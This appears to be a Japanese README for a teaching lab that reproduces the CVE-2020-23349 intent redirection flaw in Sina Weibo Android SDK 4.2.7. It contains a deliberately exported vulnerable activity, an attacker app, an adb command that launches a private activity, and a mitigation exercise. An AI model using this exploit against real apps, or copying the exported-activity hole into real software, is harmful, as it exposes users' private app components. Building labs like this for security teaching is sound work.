CVE-2020-23349 Android Lab

Sina Weibo Android SDK 4.2.7のIntent Redirection脆弱性をローカルで再現する教育用プロジェクトです。

許可されたテスト端末またはエミュレータでのみ使用してください。実際のユーザーアプリを対象に使用してはいけません。

構成

victim: 実際のopenDefault-4.2.7.aarを含む脆弱なアプリ
attacker: exported WbShareTransActivityを呼び出す攻撃アプリ
victim/.../PrivateActivity: android:exported="false"である再現対象

脆弱なフローは次のとおりです。

Attackerアプリ
  -> exported WbShareTransActivity
  -> Intent ExtraのstartActivity/gotoActivity
  -> victimのPrivateActivity実行

ビルド

Android SDK 36とJDK 17が必要です。

./gradlew clean assembleDebug

生成ファイル:

victim/build/outputs/apk/debug/victim-debug.apk
attacker/build/outputs/apk/debug/attacker-debug.apk

インストールと再現

adb install -r victim/build/outputs/apk/debug/victim-debug.apk
adb install -r attacker/build/outputs/apk/debug/attacker-debug.apk
adb shell am start -n lab.cve202023349.attacker/.MainActivity

必要に応じてVictimアプリを一度実行します。
AttackerアプリでLaunch private Activityボタンを押します。
EXPLOIT SUCCESS画面が表示されたら再現成功です。

ADBで直接再現することもできます。

adb shell am start \
  -n lab.cve202023349.victim/com.sina.weibo.sdk.share.WbShareTransActivity \
  --es startActivity lab.cve202023349.victim.PrivateActivity \
  --es gotoActivity lab.cve202023349.victim.PrivateActivity

なぜ機能するのか

SDK 4.2.7は外部IntentのstartActivityとgotoActivity文字列を信頼し、次のような形式で使用します。

resultIntent.setClassName(this, startActivityName);
startActivity(resultIntent);

thisはVictimアプリのContextであるため、AndroidはVictimアプリが自身のprivate Activityを実行しているものとして処理します。

現代のAndroidビルドではandroid:exportedを明示する必要があるため、このプロジェクトは過去のSDKの暗黙的なexported状態を再現するために、victim/AndroidManifest.xmlで明示的にtrueを指定しています。

緩和策の演習

共有機能が必要ない演習では、次の値をfalseに変更して再ビルドします。

<activity
    android:name="com.sina.weibo.sdk.share.WbShareTransActivity"
    android:exported="false" />

その後、同じ攻撃を実行するとSecurityExceptionでブロックされます。実際の製品ではWeibo SDK 4.xを削除し、最新のメンテナンス版へアップグレードする必要があります。

SDKの出典

同梱のAARはSina Weibo公式公開リポジトリの4.2.7コミットから取得しました。

リポジトリ: https://github.com/sinaweibosdk/weibo_android_sdk
コミット: 99daf8a (4.2.7)
ファイル: 新文档/openDefault-4.2.7.aar

CVE-2020-23349_Lab

人気